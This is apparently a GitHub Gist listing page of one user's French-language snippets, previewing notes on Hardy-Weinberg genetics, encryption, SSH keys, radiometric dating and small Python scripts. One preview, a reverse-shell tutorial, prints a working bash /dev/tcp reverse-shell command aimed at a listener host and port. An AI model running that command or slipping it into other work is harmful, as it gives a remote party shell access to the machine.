Skip to content

Instantly share code, notes, and snippets.

@YannBouyeron
YannBouyeron / Hardy&Weimberg.md
Last active February 20, 2023 09:04
Démonstration Hardy Weimberg

Démonstration Hardy Weimberg

Proposée en 1908 indépendamment par le mathématicien anglais Hardy et le médecin allemand Weinberg, la loi de Hardy-Weinberg se définit ainsi : dans une population de grand effectif, où les unions se font au hasard (= panmixie et pangamie), où il n’existe ni migration, ni sélection naturelle, et en l’absence de mutations, les fréquences des différents génotypes et les fréquences alléliques restent constantes d’une génération à l’autre.

On considère une population de très grande taille: N = 400 * 109 considérée comme infinie, dans laquelle on s’intéresse à un gène (un couple d’allèles) avec 2 allèles différents dans la population: A et a.

Pour simplifier, on considère une espèce (diploïde) à fécondation externe (exemple des Echinodermes tels que les oursins), en l’absence d’accouplement, on évite ainsi de devoir tenir compte de la panmixie.

Dans cette population, la répartition des génotypes est la suivante:

@YannBouyeron
YannBouyeron / Cat_&_grok_tuto.md
Last active February 20, 2023 09:13
Reverse Shell, Bind Shell, Ncat, Pwncat, Ngrok, & JPRQ tutoriel

REVERSE SHELL

Netcat reverse Shell

Console victime:

/bin/bash -i > /dev/tcp/192.168.43.92/4444 0<&1 2>&1

Console attacker:

@YannBouyeron
YannBouyeron / Python self restart.py
Last active June 19, 2022 12:32
Restart your script from himself
import os
import sys
import time
import subprocess
__file__ = os.path.abspath(sys.argv[0])
__dir__ = os.path.dirname(__file__)

Activer l'authentification par SSH pour gérer vos repo github ou gist

Créer une paire de clés SSH:

ssh-keygen -t rsa

Récupérer votre clé public:

ls ~/.ssh
config id_rsa id_rsa.pub known_hosts
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@YannBouyeron
YannBouyeron / Chiffrement asymétrique (RSA) et symétrique (AES) avec PyCryptodome et Fernet.md
Last active June 25, 2022 18:37
Chiffrement asymétrique (RSA) et symétrique (AES) avec PyCryptodome et Fernet

Chiffrement asymétrique (RSA) et symétrique (AES) avec PyCryptodome et Fernet

Installer les modules nécessaires

pip install pycryptodome

pip install cryptography

RSA: Encrypt / Decrypt

@YannBouyeron
YannBouyeron / chrono.md
Last active February 28, 2023 22:21
Radio chronologie 14C 40K/40Ar U/Pb Rb/Sr
@YannBouyeron
YannBouyeron / Croissance et décroissance.md
Created November 6, 2020 20:56
Croissance et décroissance.

Croissance et décroissance.

Suite arithmétique et modèle linéaire.

En général, quand on observe l’évolution (déterministe) d’une quantité variant au cours du temps, on dispose de données discrètes , c’est a dire de valeurs relevées à intervalles de temps réguliers ou irréguliers.

Considérons que les données discrètes suivantes représentent l’évolution de la taille d’une plante en fonction du temps (le tout en unités arbitraires):

&gt;&gt;&gt; import pandas as pd 
@YannBouyeron
YannBouyeron / Wiki.py
Created June 21, 2020 18:39
Wikipedia
#!/usr/bin/env python3.6
import wikipedia
import argparse
def searcher(x):
print("\n")
print("="*30 + " WIKIPEDIA " + "="*30)
@YannBouyeron
YannBouyeron / ipfsloader.py
Last active December 21, 2020 09:29
Local & Infura ipfs loader
#!/usr/bin/env python3.6
import ipfshttpclient
import os
import glob
infura = ipfshttpclient.connect('/dns/ipfs.infura.io/tcp/5001/https', chunk_size=20000, session=True)
local = ipfshttpclient.connect('/ip4/127.0.0.1/tcp/5001/http', chunk_size=20000, session=True)